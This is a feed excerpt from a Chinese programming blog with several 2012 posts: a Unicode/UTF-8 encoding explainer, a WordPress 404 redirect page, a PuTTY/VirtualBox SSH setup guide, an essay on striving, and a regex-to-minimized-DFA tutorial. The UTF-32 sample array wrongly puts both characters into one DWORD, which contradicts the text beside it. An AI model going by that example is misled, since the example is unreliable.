&lt;p&gt;要真正彻底解决这个问题，上面介绍的那些通过扩展ASCII修修补补的方式已经走不通了，而必须有一个全新的编码系统，这个系统要可以将中文、日文、法文、德文……等等所有的文字统一起来考虑，为每一个文字都分配一个单独的编码。于是，Unicode诞生了。Unicode（统一码、万国码、单一码）为地球上（以后会包括火星，金星，喵星等）每种语言中的每个字符设定了统一并且唯一的二进制编码，以满足跨语言、跨平台进行文本转换、处理的要求。在Unicode里，所有的字符被一视同仁，汉字不再使用“两个扩展ASCII”，而是使用“1个Unicode”来表示，也就是说，所有的文字都按一个字符来处理，它们都有一个唯一的Unicode码。Unicode用数字0-0x10FFFF来映射这些字符，最多可以容纳1114112个字符，或者说有1114112个码位（码位就是可以分配给字符的数字）。&lt;/p&gt;
&lt;p&gt;提到Unicode不能不提UCS（通用字符集Universal Character Set）。UCS是由ISO制定的ISO 10646（或称ISO/IEC 10646）标准所定义的标准字符集。UCS-2用两个字节编码，UCS-4用4个字节编码。Unicode是由unicode.org制定的编码机制，ISO与unicode.org是两个不同的组织， 虽然最初制定了不同的标准; 但目标是一致的。所以自从Unicode 2.0开始， Unicode采用了与ISO 10646-1相同的字库和字码， ISO也承诺ISO10646将不会给超出0x10FFFF的UCS-4编码赋值， 使得两者保持一致。大家简单认为UCS等同于Unicode就可以了。&lt;/p&gt;
&lt;p&gt;在Unicode中：汉字“字”对应的数字是23383。在Unicode中，我们有很多方式将数字23383表示成程序中的数据，包括：UTF-8、UTF-16、UTF-32。UTF是“UCS Transformation Format”的缩写，可以翻译成Unicode字符集转换格式，即怎样将Unicode定义的数字转换成程序数据。例如，“汉字”对应的数字是0x6c49和0x5b57，而编码的程序数据是：&lt;/p&gt;
&lt;div&gt;
&lt;pre&gt;BYTE data_utf8[] = {0xE6, 0xB1, 0x89, 0xE5, 0xAD, 0x97}; // UTF-8编码
WORD data_utf16[] = {0x6c49, 0x5b57}; // UTF-16编码
DWORD data_utf32[] = {0x6c495b57}; // UTF-32编码&lt;/pre&gt;
&lt;/div&gt;
这里用BYTE、WORD、DWORD分别表示无符号8位整数，无符号16位整数和无符号32位整数。UTF-8、UTF-16、UTF-32分别以BYTE、WORD、DWORD作为编码单位。“汉字”的UTF-8编码需要6个字节。“汉字”的UTF-16编码需要两个WORD，大小是4个字节。“汉字”的UTF-32编码需要两个DWORD，大小是8个字节。根据字节序的不同，UTF-16可以被实现为UTF-16LE或UTF-16BE，UTF-32可以被实现为UTF-32LE或UTF-32BE。
&lt;p&gt;下面介绍UTF-8、UTF-16、UTF-32、BOM。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;UTF-8&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;UTF-8以字节为单位对Unicode进行编码。从Unicode到UTF-8的编码方式如下：&lt;/p&gt;
&lt;table border=&#34;1&#34;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unicode编码(16进制)&lt;/td&gt;
&lt;td&gt;UTF-8 字节流(二进制)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;000000 – 00007F&lt;/td&gt;
&lt;td&gt;0xxxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;000080 – 0007FF&lt;/td&gt;
&lt;td&gt;110xxxxx 10xxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;000800 – 00FFFF&lt;/td&gt;
&lt;td&gt;1110xxxx 10xxxxxx 10xxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;010000 – 10FFFF&lt;/td&gt;
&lt;td&gt;11110xxx 10xxxxxx 10xxxxxx 10xxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
UTF-8的特点是对不同范围的字符使用不同长度的编码。对于0×00-0x7F之间的字符，UTF-8编码与ASCII编码完全相同。UTF-8编码的最大长度是4个字节。从上表可以看出，4字节模板有21个x，即可以容纳21位二进制数字。Unicode的最大码位0x10FFFF也只有21位。总结了一下规律：UTF-8的第一个字节开始的1的个数代表了总的编码字节数，后续字节都是以10开始。由上面的规则可以清晰的看出UTF-8编码克服了中文编码的两个问题。
&lt;p&gt;例1：“汉”字的Unicode编码是0x6C49。0x6C49在0×0800-0xFFFF之间，使用3字节模板了：1110xxxx 10xxxxxx 10xxxxxx。将0x6C49写成二进制是：0110 1100 0100 1001， 用这个比特流依次代替模板中的x，得到：11100110 10110001 10001001，即E6 B1 89。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 温故而知新：Stream篇</title>
      <link>http://blog.leaver.me/2012/04/28/c%23-%E6%B8%A9%E6%95%85%E8%80%8C%E7%9F%A5%E6%96%B0stream%E7%AF%87/</link>
      <pubDate>Sat, 28 Apr 2012 14:13:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/28/c%23-%E6%B8%A9%E6%95%85%E8%80%8C%E7%9F%A5%E6%96%B0stream%E7%AF%87/</guid>
      <description>&lt;p&gt;　　　如果你在学习C#，那么对流的操作是非常基础重要的一步，而&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/&#34;&gt;JimmyZheng&lt;/a&gt;的Stream系列文章估计是流操作最好的文章了。直接转过来，做一个收藏。也希望能够对学习的朋友有所帮助，本文可能会持续更新。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/03/17/2402814.html&#34;&gt;C# 温故而知新：Stream篇（—）Stream简单介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/03/19/2405216.html&#34;&gt;C# 温故而知新：Stream篇（二）TextReader 和StreamReader&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/03/25/2416841.html&#34;&gt;C# 温故而知新：Stream篇（三）TextWriter 和 StreamWriter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/04/03/2430585.html&#34;&gt;C# 温故而知新：Stream篇（四）FileStream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/04/14/2446507.html&#34;&gt;C# 温故而知新：Stream篇（五）MemoryStream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/04/25/2470277.html&#34;&gt;C# 温故而知新：Stream篇（六）BufferedStream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/05/17/2502727.html&#34;&gt;C# 温故而知新：Stream篇（七）NetworkStream&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    <item>
      <title>wordpress 实现404个性跳转页面</title>
      <link>http://blog.leaver.me/2012/04/28/wordpress-%E5%AE%9E%E7%8E%B0404%E4%B8%AA%E6%80%A7%E8%B7%B3%E8%BD%AC%E9%A1%B5%E9%9D%A2/</link>
      <pubDate>Sat, 28 Apr 2012 09:53:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/28/wordpress-%E5%AE%9E%E7%8E%B0404%E4%B8%AA%E6%80%A7%E8%B7%B3%E8%BD%AC%E9%A1%B5%E9%9D%A2/</guid>
      <description>&lt;p&gt;这个就不多说了，直接贴代码，使用方法就是把这些代码全部拷贝进你的404.php这个文件。后台点击外观-编辑-选择404.php，开始编辑，&lt;/p&gt;
&lt;p&gt;完成后然后就可以自己测试下效果了，你也可以先访问&lt;a href=&#34;http://leaver.me/test404&#34;&gt;http://leaver.me/test404&lt;/a&gt;查看效果&lt;/p&gt;
&lt;pre lang=&#34;xml&#34; escaped=&#34;true&#34;&gt;
&amp;lt;title&amp;gt;404&amp;lt;/title&amp;gt;
&amp;lt;style type=&#34;text/css&#34;&amp;gt;
body{
    margin:0;
    padding:0;
    font:14px/1.6 Arial,Sans-serif;
    background:#fff url(img/body.png) repeat-x;
}
a:link,a:visited{
   color:#007ab7;
   text-decoration:none;
}
h1{
   position:relative;
   z-index:2;
   width:540px;
   height:0;
   margin:110px auto 15px;
   padding:230px 0 0;
   overflow:hidden;
   xxxxborder:1px solid;
   background-image: url(http://leaverimage.b0.upaiyun.com/20346_o.jpg);
   background-repeat: no-repeat;
}
h2{
   position:absolute;
   top:17px;
   left:187px;
   margin:0;
   font-size:0;
   text-indent:-999px;
   -moz-user-select:none;
   -webkit-user-select:none;
   user-select:none;
   cursor:default;
   width: 534px;
}
h2 em{
   display:block;
   font:italic bold 200px/120px &#34;Times New Roman&#34;,Times,Serif;
   text-indent:0;
   letter-spacing:-5px;
   color:rgba(216,226,244,0.3);
}
.link a{margin-right:1em;}
.link,.texts{
   width:540px;
   margin:0 auto 15px;
   color:#505050;
}
.texts{line-height:2;}
.texts dd{margin:0;padding:0 0 0 15px;}
.texts ul{margin:0;padding:0;}
.portal{
   color:#505050;
   text-align:center;
   white-space:nowrap;
   word-spacing:0.45em;
}
.portal a:link,.portal a:visited{
   color:#505050;
   word-spacing:0;
}
.portal a:hover,.portal a:active{color:#007ab7;}
.portal span{
   display:inline-block;
   height:38px;
   line-height:35px;
   background:url(img/portal.png) repeat-x;
}
.portal span span{
   padding:0 0 0 20px;
   background:url(img/portal.png) no-repeat 0 -40px;
}
.portal span span span{padding:0 20px 0 0;background-position:100% -80px;}
.STYLE1 {
   font-family: Arial, Helvetica, sans-serif;
   font-size: 65px;
}
&amp;lt;/style&amp;gt;
&amp;lt;!--[if lte IE 8]&amp;gt;
&amp;lt;style type=&#34;text/css&#34;&amp;gt;
h2 em{color:#e4ebf8;}
&amp;lt;/style&amp;gt;
&amp;lt;![endif]--&amp;gt;

&amp;lt;script type=&#34;text/javascript&#34;&amp;gt;
var i = 5;
var intervalid;
intervalid = setInterval(&#34;fun()&#34;, 1000);
function fun() {
  if (i == 0) {
   window.location.href = &#34;&amp;lt;?php bloginfo(&#39;url&#39;); ?&amp;gt;&#34;;
   clearInterval(intervalid);
}
document.getElementById(&#34;secondsDisplay&#34;).innerHTML = i;
i--;
}
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;&amp;lt;em&amp;gt;&amp;lt;span class=&#34;STYLE1&#34;&amp;gt;404 Error&amp;amp;nbsp;&amp;amp;nbsp; &amp;lt;/span&amp;gt;&amp;lt;/em&amp;gt;: 您所查找的页面不存在,可能已被删除或您输错了网址!&amp;lt;/h2&amp;gt;
&amp;lt;p class=&#34;link&#34;&amp;gt;
   &amp;lt;a href=&#34;http://blog.leaver.me/&#34;&amp;gt;&amp;amp;#9666;返回首页&amp;lt;/a&amp;gt;
   &amp;lt;a href=&#34;javascript:history.go(-1);&#34;&amp;gt;&amp;amp;#9666;返回上一页&amp;lt;/a&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;dl class=&#34;texts&#34;&amp;gt;
  &amp;lt;dt&amp;gt;我正在联系火星总部查找您所需要的页面.请返回等待信息..&amp;lt;/dt&amp;gt;
  &amp;lt;dd&amp;gt;
&amp;lt;ul&amp;gt;
  &amp;lt;li&amp;gt;不要返回吗?&amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;确定不要返回吗?&amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;真的真的确定不要返回吗?&amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;系统在 &amp;lt;span id=&#34;secondsDisplay&#34; style=&#34;font-size:20px;color:red;&#34;&amp;gt;5&amp;lt;/span&amp;gt; 秒钟之后带你返回地球。&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;
&amp;lt;/dd&amp;gt;
&amp;lt;/dl&amp;gt;
&amp;lt;/body&amp;gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Win7使用Putty连接VitualBox下的Ubuntu</title>
      <link>http://blog.leaver.me/2012/04/26/win7%E4%BD%BF%E7%94%A8putty%E8%BF%9E%E6%8E%A5vitualbox%E4%B8%8B%E7%9A%84ubuntu/</link>
      <pubDate>Thu, 26 Apr 2012 22:40:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/26/win7%E4%BD%BF%E7%94%A8putty%E8%BF%9E%E6%8E%A5vitualbox%E4%B8%8B%E7%9A%84ubuntu/</guid>
      <description>&lt;p&gt;推荐连接方式选择Host-only Adapter（主机模式）。设置方法是打开vitualbox，然后选中虚拟机，点击设置，找到网络，然后如下图选择&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20944_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6f75b3ea6509800b51958f720d2e3173390bc0a1.jpg&#34; title=&#34;桥接设置&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;设置完成后，启动ubuntu，然后执行&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;ifconfig -a&lt;/pre&gt;
&lt;p&gt;找到下面这行，可以看到虚拟机分配到的ip地址为192.168.56.101&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20945_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a57df08f6538afb4deebab8a4e08564bda4528e0.jpg&#34; title=&#34;IP地址&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后呢，可以在win7的cmd下 ping 192.168.56.101，看看可不可以ping通，&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20948_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b38276de90d54e82042a95ae97e40e658753d1d5.jpg&#34; title=&#34;ping&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;有返回所以是通的，&lt;/p&gt;
&lt;p&gt;然后在ubuntu下需要执行&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;sudo apt-get install openssh-server&lt;/pre&gt;
&lt;p&gt;Ubuntu缺省安装了openssh-client（用于ubuntu连接其他服务器）,所以在这里就不安装了，只安装server，用于其它电脑连接ubuntu，如果你的系统没有安装的话，再用apt-get安装上即可。&lt;/p&gt;
&lt;p&gt;然后确认sshserver是否启动了：&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;ps -e |grep ssh&lt;/pre&gt;
&lt;p&gt;如果只有ssh-agent行那ssh-server还没有启动，需要执行&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;service sshd start&lt;/pre&gt;
&lt;p&gt;，启动ssh服务器
如果看到sshd那说明ssh-server已经启动了。&lt;/p&gt;
&lt;p&gt;然后下载putty，推荐去&lt;a href=&#34;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&#34;&gt;官方下载&lt;/a&gt;，下载完成后发现是单文件，直接执行即可。&lt;/p&gt;
&lt;p&gt;输入ubuntu的ip点击open即可&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20950_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9901f47b9a70d8c61d8ea28aeb41985e4b92be9d.jpg&#34; title=&#34;登录设置&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;登录上以后执行命令会发现有乱码，鼠标右键点击putty窗口的标题栏，选择，&amp;ldquo;Change Settings&amp;rdquo;，&amp;ldquo;Translation&amp;rdquo;，在&amp;quot;Received data assumed to be in which character set&amp;quot;的下拉菜单里选择&amp;quot;UTF-8&amp;quot;。如下图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20951_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d08c4a6755cd31c3dc560f681162e46c797c02d.png&#34; title=&#34;utf-8&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这样，下次又得重复同样的工作，为了保持配置，继续在上图选择左边的session&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20952_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d0111c6b9386937d97e77046d84dbd510a062982.jpg&#34; title=&#34;session&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在saved session输入个名字，save即可，下次直接连这个就可以了&lt;/p&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://www.linuxidc.com/Linux/2011-12/49325.htm&#34;&gt;http://www.linuxidc.com/Linux/2011-12/49325.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://spark10000.blog.51cto.com/955100/547211&#34;&gt;http://spark10000.blog.51cto.com/955100/547211&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;至于putty的使用不在本文的计划范围内，以后有机会再写吧。&lt;/p&gt;
&lt;p&gt;每次遇到问题就体会到网络的信息实在太杂了。掌握搜索技术和对数据的快速筛选很重要。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>文比三家-有关奋斗</title>
      <link>http://blog.leaver.me/2012/04/26/%E6%96%87%E6%AF%94%E4%B8%89%E5%AE%B6-%E6%9C%89%E5%85%B3%E5%A5%8B%E6%96%97/</link>
      <pubDate>Thu, 26 Apr 2012 15:28:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/26/%E6%96%87%E6%AF%94%E4%B8%89%E5%AE%B6-%E6%9C%89%E5%85%B3%E5%A5%8B%E6%96%97/</guid>
      <description>&lt;p&gt;　　看到有关奋斗的文章，放在一起别有一种感觉，我还是很认同第三种的，第二种太理想化了。当然你会有自己的看法的，有需要的直接前往原文观看。
第一篇很出名，叫做&lt;a href=&#34;http://www.zreading.cn/archives/2533.html&#34;&gt;《你必须非常努力，才能看起来毫不费力》&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有一群人，他们积极自律，每天按计划行事，有条不紊；他们不张扬，把自己当成最卑微的小草，等待着人生开出花朵的那天。他们早晨5点多起来健身，你在睡觉；7点开始享受丰盛的早餐，蛋白质维生素淀粉粗纤维样样俱全，为新的一天起了一个好头，当他们收拾妥当准备开始一整天的工作时，你还在睡觉。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;第二篇针锋相对，是&lt;a href=&#34;http://blog.renren.com/blog/44432371/811862152&#34;&gt;《我始终不信努力奋斗的意义》&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“奋斗”这个词的英文表示更能彰显其本来面目，叫做“struggle for”，奋力斗争。Struggle的含义是，你之所以奋力斗争，正是为摆脱你目前所处的状态——你不是想着追求，而是想着逃离。你之所以现在做你讨厌的事情，为的是以后再也不做这种事情。那么，为什么不在此刻停下来呢？
　　子曰：富而可求也，虽执鞭之士，吾亦为之。如不可求，从吾所好。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;第三篇我想把全文贴出来：《第三只眼：做你认为对的你》
人人6分&lt;/p&gt;
&lt;p&gt;　　　读完《你必须非常努力，才能看起来毫不费力》，再读《我始终不信努力奋斗的意义》，或许你会发生这样的惊叹：啊，原来思想可以这样，相互对立，可是看似又相互正确。&lt;/p&gt;
&lt;p&gt;　　　当然这是好事，你发现思维就是这样有趣，它们各自站在自己的立场上去博弈厮杀，它们都企图把你拉到自己一边，而你四处打听考察，想要分清谁是谁非，正义和邪恶，却最后发现，它们说得都好有道理啊……多读这类观点相斥的文章，你会发现一个新的天地——原来思维的广度和宇宙一般，没有边界。&lt;/p&gt;
&lt;p&gt;　　　你去看这两篇文章后面读者的评论，你会发现有太多的人都没有自己独立的思考。看罢《你必须非常努力，才能看起来毫不费力》，就有人会说：对啊对啊，这不正是颓废的我吗，我须奋斗才行，不然我就会成为被踩在脚底的小职工。看罢《我始终不信努力奋斗的意义》，就会有人说：“对啊对啊，我为什么要奋斗呢。有人苦苦奋斗三十年还熬不出头，及时行乐才好。”&lt;/p&gt;
&lt;p&gt;　　　如果你没有自己的立场，就很容易陷入人云亦云的沼泽，成为它们的牺牲品，你的脑袋就是他人思维的跑场，谁在上面跑，你就听谁的。这当然是可悲的，终其一生，你听从所有人，模仿所有人，可是，你独独没有真正做一回自己。&lt;/p&gt;
&lt;p&gt;　　　我之所以说这么多，是为下面我的观点进行铺垫——我说的对也罢，错也罢，你认同也好，批评也好，它只是一种观点，你要不要相信无所谓，重要的是你要保持自己独立思考的能力。&lt;/p&gt;
&lt;p&gt;　　　对于“奋斗与否”，我认为这完全是因人而异的事。其实，“奋斗与否”的核心问题是“人生意义”——到底奋斗了才能体现自我价值，还是享受当下才是生命的本质？人与人之间是不同的，有的人将金钱排在第一，有的人觉得帮助他人才能让自己感到愉快，有的人说找到我爱的就是爱我的人，此生还有何求呢！有的人通过非常的努力虽不能达到别人一生出来就有的优越，却真切体验到人生奋斗的乐趣！有的人……&lt;/p&gt;
&lt;p&gt;　　　你可以不相信奋斗。有的人孜孜不倦，奋斗了一生，得到了什么？所谓的金钱？成功？地位？更多的甚至什么都没得到，空累了一身病，人财两空。还不如今点上烟，喝点茶，悠哉地过着小日子。&lt;/p&gt;
&lt;p&gt;　　　你可以相信奋斗。富人和渔夫的故事广泛被用来告诫人们：你终极一生的奋斗，不过是为了有一天能坐在海边，惬意地看着潮涨潮落，那奋斗何用！可是，人们往往忽略了虽然同样坐在沙滩上，渔夫和富人能一样吗？富人享受完了可以继续享受，而渔夫想要这样的话，早被他妻子骂个狗血淋头——家都掀不开锅了，你还有这份闲心！&lt;/p&gt;
&lt;p&gt;　　　要不要奋斗，归根结底，取决于你想做什么样的人，过什么样的人生。其实这是个伪命题，讨论它是没有意义的。因为如果你认为对的，喜欢的事，就去做，去实现，是感觉不到奋斗的挣扎，而是享受。如果你觉得你在很努力地奋斗，那你一定是在做你不喜欢的事情。&lt;/p&gt;
&lt;p&gt;　　　我最不喜欢的是这样一种人：总是抱怨自己的生活，却从不试着做些努力去改变。我有个同学，一天到晚都在打着网游，却也自得其乐。我不认为他这样有什么不好，做自己喜欢的事，尽管我们认为那是在浪费时间，但他能从中得到快乐，那还苛求什么呢？而我的另一个同学，读书的时候心不在焉，玩得时候又觉得虚度年华，然后总是抱怨没学到一点能力以后工作要怎么办啊。&lt;/p&gt;
&lt;p&gt;　　　老子的逍遥之道和孔夫子的出仕之思，本就没有好坏之分，你认同谁就坚定地站在谁那边，万万不要羽世独立，悠然见南山的时候还在叹息男儿何不带吴钩。做你认为对的那个你，你才会开心，不郁结。&lt;/p&gt;
&lt;p&gt;行文有些乱，因为来回穿插了两个论点——&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一．不在乎是否奋斗，而在于你是否找到了认同，然后去做你认为对的你。&lt;/p&gt;
&lt;p&gt;二．推翻我的观点，当你发现这是一堆废话的时候，你就是你自己的思想了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;世界上最大的真理就是：这个世界没有真理。这真是个精妙悖论。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>正规式-&gt;最小化DFA说明</title>
      <link>http://blog.leaver.me/2012/04/25/%E6%AD%A3%E8%A7%84%E5%BC%8F-%E6%9C%80%E5%B0%8F%E5%8C%96dfa%E8%AF%B4%E6%98%8E/</link>
      <pubDate>Wed, 25 Apr 2012 17:38:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/25/%E6%AD%A3%E8%A7%84%E5%BC%8F-%E6%9C%80%E5%B0%8F%E5%8C%96dfa%E8%AF%B4%E6%98%8E/</guid>
      <description>&lt;p&gt;　　今天早上去图书馆，去看编译原理，想把这部分搞清楚，看着龙书+国产的某一本不知什么的习题与解析，猜过程。。猜原理。。终于是看懂了。。
整体的步骤是三步：
一，先把正规式转换为NFA（非确定有穷自动机）,
二，在把NFA通过“子集构造法”转化为DFA，
三，在把DFA通过“分割法”进行最小化。&lt;/p&gt;
&lt;p&gt;　　　**一步很简单，就是反复运用下图的规则，**图1
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20920_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6807123f3c419d9d4ae9c8bc7833f940ddd2cd83.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　这样就能转换到NFA了。
给出一个例题，来自Google book。本文主要根据这个例题来讲，图2
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20924_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1816f6c4b5eac34b7a8ee5a44400ea8ace103722.jpg&#34;&gt;&lt;/a&gt;
　　　&lt;strong&gt;二.子集构造法。&lt;/strong&gt;
同样的例题，把转换好的NFA确定化，图3
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20921_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/29683c76cbf62ad4420a384cdb4a6902818d49db.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　这个表是从NFA到DFA的时候必须要用到的。第一列第一行I的意思是从NFA的起始节点经过任意个ε所能到达的结点集合。Ia表示从该集合开始经过一个a所能到达的集合，经过一个a的意思是可以略过前后的ε。同样Ib也就是经过一个b，可以略过前后任意个ε。
至于第二行以及后面的I是怎么确定的。我参考了一些题目才明白，原来就是看上面的Ia和Ib哪个还没出现在I列，就拿下来进行运算，该列对应的Ia和Ib就是前面我说的那样推导。&lt;/p&gt;
&lt;p&gt;　　如果还不太明白，看图就是了。你会发现I中的几个项目都在Ia和Ib中出现了。而且是完全出现&lt;/p&gt;
&lt;p&gt;　　这步做完以后，为了画出最后的DFA，那么肯定得标出一些号来，比如1.2.3.。或者A。 B。c，我一般标的方法是先把I列全部标上1.2.3.递增。然后看1表示的集合和Ia和Ib中的哪个集合一样，就把那个集合也表示为1.继续向下做。最后会得到这样一个表格。图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20922_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/cfd89b33da236d53885bb7ff781a33633c15e072.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　至此，就可以表示出DFA了。就对照上面那个表，从0节点开始经过a到1.经过b到2，就这样画就行了。。&lt;/p&gt;
&lt;p&gt;　　最后的DFA如下图，图5
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20925_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/26ef020ce54f209ce93f988ab6af15e1daf0f131.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　双圈的表示终态，这个是怎么来的呢。去看看图4，会发现有些项之前有双圈标志，这个是因为在NFA图2中，9为终态，所以所有包含9的集合都被认为是终态集，改成1.2.3.。。方便画节点后就需要把这些点作为终态了。。&lt;/p&gt;
&lt;p&gt;　　　&lt;strong&gt;三.最小化，分割法。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FA的最小化就是寻求最小状态DFA&lt;/p&gt;
&lt;p&gt;　　最小状态DFA的含义:
1.没有多余状态(死状态)2. 没有两个状态是互相等价（不可区别）
两个状态s和t等价的条件：
兼容性（一致性）条件——同是终态或同是非终态
传播性（蔓延性）条件——从s出发读入某个a和从t出发经过某个a并且经过某个b到达的状态等价。就是相同。&lt;/p&gt;
&lt;p&gt;　　DFA的最小化—例子，第一步都是固定的。分成终态和非终态&lt;/p&gt;
&lt;p&gt;１．将Ｍ的状态分为两个子集一个由终态k1=｛Ｃ，Ｄ，Ｅ，Ｆ｝组成，一个由非终态k2=｛Ｓ，Ａ，Ｂ｝组成，&lt;/p&gt;
&lt;p&gt;２．考察｛Ｓ，Ａ，Ｂ｝是否可分．&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20927_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4bf93ce8a42fb3161b1d288da5697a5745effc23.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;因为Ａ经过a到达C属于k1.而S经过a到达A属于k2.B经过a到达A属于k2，所以K2继续划分为{S，B},{A},&lt;/p&gt;
&lt;p&gt;３．考察｛Ｓ，Ｂ｝是否可再分：&lt;/p&gt;
&lt;p&gt;B经过b到达D属于k1.S经过b到达B属于k2，所以S，B可以划分。划分为{S},{B}&lt;/p&gt;
&lt;p&gt;４．考察｛Ｃ，Ｄ，Ｅ，Ｆ｝是否可再分：
因为Ｃ，Ｄ，Ｅ，Ｆ经过a和b到达的状态都属于｛Ｃ，Ｄ，Ｅ，Ｆ｝=k1所以相同，所以不可再分：&lt;/p&gt;
&lt;p&gt;５．｛Ｃ，Ｄ，Ｅ，Ｆ｝以｛Ｄ｝来代替则，因为CDEF相同，你也可以用C来代替。无所谓的最小化的ＤＦＡ如图，：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20928_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/573e265f308413f9398a0f05b240403b07cff10f.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
